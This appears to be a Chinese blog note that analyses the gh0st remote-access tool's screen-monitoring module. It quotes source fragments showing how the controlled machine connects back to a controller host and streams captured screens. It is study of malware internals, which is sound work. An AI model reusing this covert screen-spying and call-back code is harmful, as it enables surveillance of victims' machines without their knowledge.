gh0st源码分析:屏幕监控

这两天一直看gh0st源码,看得也是一头雾水,下面就分析一下屏幕监控的通信过程,对屏幕扫描算法以及绘图方面就不分析了,因为我也不懂。写的有点乱,就当作个笔记了。

首先从控制端按下屏幕监控选项开始,这时控制端就会调用OnScreenspy()函数。这个函数很简单,向被控端发送COMMAND_SCREEN_SPY指令,告诉被控端我要监控你的屏幕了。此时被控端还在等待控制端的命令(ClientSocket.cpp中的Connect函数中新建的线程WorkThread一直等待执行命令),WorkThread线程等到了执行命令,调用OnRead函数对命令解密,接下来调用了CKernelManager::OnReceive函数,OnReceive看到命令是COMMAND_SCREEN_SPY,就创建了Loop_ScreenManager线程:

DWORD WINAPI Loop_ScreenManager(CClientSocket* sRemote)
{
    CClientSocket    socketClient;
    if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
        return -1;

    CScreenManager    manager(&socketClient);

    socketClient.run_event_loop();
    return 0;
}

这个线程又调用CClientSocket的Connect连接控制端,并声明了个CScreenManager类,并将socketClient与CScreenManager相关联(参见CManager类的构造函数:m_pClient->setManagerCallBack(this);),这样socketClient的WorkThread线程收到的数据就可以传送到了CScreenManager::OnReceive函数中,而不是CKernelManager::OnReceive函数了。

看下CScreenManager 构造函数:

CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)
{
    m_bAlgorithm = ALGORITHM_SCAN;
    m_biBitCount = 8;
    m_pScreenSpy = new CScreenSpy(8);
    m_bIsWorking = true;
    m_bIsBlankScreen = false;
    m_bIsBlockInput = false;
    m_bIsCaptureLayer = false;

    m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
    m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);
}

构造函数中又创建了两个线程:WorkThread和ControlThread。WorkThread主要负责发送屏幕页面,ControlThread没看,暂时不知道干啥。看下WorkThread线程:

DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
{
    CScreenManager *pThis = (CScreenManager *)lparam;
    pThis->sendBITMAPINFO();
    // 等控制端对话框打开
  pThis->WaitForDialogOpen();
    pThis->sendFirstScreen();
    try // 控制端强制关闭时会出错
    {
        while (pThis->m_bIsWorking)
            pThis->sendNextScreen();
    }catch(...){};

    return 0;
}

首先调用sendBITMAPINFO(),发送调色板信息(用TOKEN_BITMAPINFO指令标识)。发送后就等待控制端屏幕监控窗口打开(等待m_hEventDlgOpen事件,当控制端屏幕监控窗口打开时会发送COMMAND_NEXT指令,收到此指令后被控端会调用NotifyDialogIsOpen()函数来设置hEventDlgOpen)。先让被控端在这儿等着吧,接下来我们再回到控制端。

控制端发送完COMMAND_SCREEN_SPY指令后,就继续等待连接(ListenThreadProc线程)和等待接收数据(OnClientReading函数中接收完数据就会调用PostRecv投递了IORead请求)。这时有了新连接(上面Loop_ScreenManager中的连接),于是调用OnAccept函数,并为这个新的连接分配了ClientContext,并建立完成端口,然后在新的完成端口上投递IORead请求,等待接收数据。很快数据来了(调色板信息),OnClientReading函数对数据解密,然后把数据给了NotifyProc函数,NotifyProc函数又调用了ProccessReceiveComplete函数,此时还没有建立屏幕监控窗口,因此pContext->m_Dialog[0] = 0。ProccessReceiveComplete根据TOKEN_BITMAPINFO指令,向主窗口发送了个WM_OPENSCREENSPYDIALOG消息,告诉主窗口建立个屏幕监控的窗口,于是控制端调用OnOpenScreenSpyDialog函数:

LRESULT CkongDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
{
    ClientContext *pContext = (ClientContext *)lParam;

    CScreenSpyDlg    *dlg = new CScreenSpyDlg(this, m_iocpServer, pContext);
    // 设置父窗口为卓面
    dlg->Create(IDD_SCREENSPY, GetDesktopWindow());
    dlg->ShowWindow(SW_SHOW);

    pContext->m_Dialog[0] = SCREENSPY_DLG;
    pContext->m_Dialog[1] = (int)dlg;
    return 0;
}

创建了屏幕监控窗口,并对pContext->m_Dialog赋值。m_Dialog[0]标识是屏幕监控窗口,m_Dialog[1]指向此窗口。这样ProccessReceiveComplete函数就可以根据pContext->m_Dialog直接将数据传给CScreenSpyDlg了。建立了CScreenSpyDlg窗口,就要调用OnInitDialog函数,在CScreenSpyDlg的OnInitDialog函数中,有调用了SendNext()函数:

void CScreenSpyDlg::SendNext()
{
    BYTE    bBuff = COMMAND_NEXT;
    m_iocpServer->Send(m_pContext, &bBuff, 1);
}

发送COMMAND_NEXT指令给被控端。前面说了,被控端在发送调色板信息后就等待COMMAND_NEXT指令。

回到被控端,收到了数据,数据解密后传到了CScreenManager::OnReceive函数中,根据COMMAND_NEXT指令调用了NotifyDialogIsOpen()函数,NotifyDialogIsOpen函数设置了m_hEventDlgOpen事件, CScreenManager的WorkThread线程中WaitForDialogOpen()返回,于是执行pThis->sendFirstScreen(),发送第一个屏幕画面,用TOKEN_FIRSTSCREEN来标识。

控制端收到数据后到了ProccessReceiveComplete函数,根据m_Dialog将数据传给了CScreenSpyDlg中的OnReceiveComplete()函数,根据相关指令来重绘屏幕监控窗口。接下来被控端不停的发,控制端就不停的重绘.........

还没分析完,还有发送控制命令那一块没看,有时间再写。

时间: 2024-10-18 21:26:39

gh0st源码分析:屏幕监控的相关文章

Spring Developer Tools 源码分析:二、类路径监控

在 Spring Developer Tools 源码分析一中介绍了 devtools 提供的文件监控实现,在第二部分中,我们将会使用第一部分提供的目录监控功能,实现对开发环境中 classpath 的监控. 二.类路径监控 首先看一些这一部分可能涉及到的类图: 在图中,红色斜线左上部分是第一部分中介绍的文件目录监控的类,其中 FileSystemWatcher 会通过独立线程监控指定的目录,当目录内容发生变化时,通过对比快照可以获得所有监控目录变化的文件ChangedFiles,然后将变化通知

Spring源码分析——BeanFactory体系之抽象类、类分析(一)

上一篇介绍了BeanFactory体系的所有接口——Spring源码分析——BeanFactory体系之接口详细分析,本篇就接着介绍BeanFactory体系的抽象类和接口. 一.BeanFactory的基本类体系结构(类为主): 上图可与 Spring源码分析——BeanFactory体系之接口详细分析 的图结合分析,一个以接口为主,一个以类为主(PS:Spring的体系结构要分析清楚,不得不曲线救国啊!不然27寸屏幕给我画估计都装不下.). 具体: 1.7层的类体系继承. 2.Abstrac

Android 上千实例源码分析以及开源分析

Android 上千实例源码分析以及开源分析(百度云分享) 要下载的直接翻到最后吧,项目实例有点多. 首先 介绍几本书籍(下载包中)吧. 01_Android系统概述 02_Android系统的开发综述 03_Android的Linux内核与驱动程序 04_Android的底层库和程序 05_Android的JAVA虚拟机和JAVA环境 06_Android的GUI系统 07_Android的Audio系统 08_Android的Video 输入输出系统 09_Android的多媒体系统 10_

Libevent源码分析-timer和signal处理

timer处理 Signal处理 timerfd和signalfd timerfd signalfd timer处理 在Libevent源码分析-event处理流程中,使用了定时器,来看一下源码: evtimer_set(&ev, time_cb, NULL);//设置定时器事件 其中evtimer_set是个宏定义 #define evtimer_set(ev, cb, arg) event_set((ev), -1, 0, (cb), (arg)) //event_set原型 void ev

YII 的源码分析(二)

上一篇简单分析了一下yii的流程,从创建一个应用,到屏幕上输出结果.这一次我来一个稍复杂一点的,重点在输出上,不再是简单的一行"hello world",而是要经过view(视图)层的处理. 依然是demos目录,这次我们选择hangman,一个简单的猜字游戏.老规则,还是从入口处开始看. index.php: <?php // change the following paths if necessary $yii=dirname(__FILE__).'/../../frame

nginx源码分析--进程间通信机制 &amp; 同步机制

Nginx源码分析-进程间通信机制 从nginx的进程模型可以知道,master进程和worker进程需要通信,nginx中通信的方式有套接字.共享内存.信号.对于master进程,从外部接受信号,master进程主要就是监控.接受外部信号,将有必要的信号传递给worker进程,master进程大部分时间都是阻塞在sigsuspend()函数调用上.Worker进程屏蔽了所有的外部信号,那么Master进程就通过套接字和worker进程通信,worker进程修改全局变量,使得worker进程接受

[Android]Fragment源码分析(一) 构造

Fragment是Android3.0之后提供的api,被大家广泛所熟知的主要原因还是因为随即附带的ViewPager控件.虽然我并不喜欢用它,但是它确实是一个相对不错的控件.还是我的一贯作风,我将从源码上向大家展示什么是Fragment.我们先写一个简单的代码对Fragment有个直观的认识:(为了保证我们方便调试,我们可以直接使用V4提供的源码包) FragmentTransaction t = getSupportFragmentManager().beginTransaction();

【Cocos2d-x】源码分析之 2d/ui/Widget

从今天开始 咱也模仿 红孩儿这些大牛分析源码 ,由于水平有限 不对之处欢迎狂喷.哈哈. #ifndef __UIWIDGET_H__ #define __UIWIDGET_H__ #include "ui/CCProtectedNode.h" #include "ui/UILayoutDefine.h" #include "ui/UILayoutParameter.h" #include "ui/GUIDefine.h" NS

FastText总结,fastText 源码分析

文本分类单层网络就够了.非线性的问题用多层的. fasttext有一个有监督的模式,但是模型等同于cbow,只是target变成了label而不是word. fastText有两个可说的地方:1 在word2vec的基础上, 把Ngrams也当做词训练word2vec模型, 最终每个词的vector将由这个词的Ngrams得出. 这个改进能提升模型对morphology的效果, 即"字面上"相似的词语distance也会小一些. 有人在question-words数据集上跑过fastT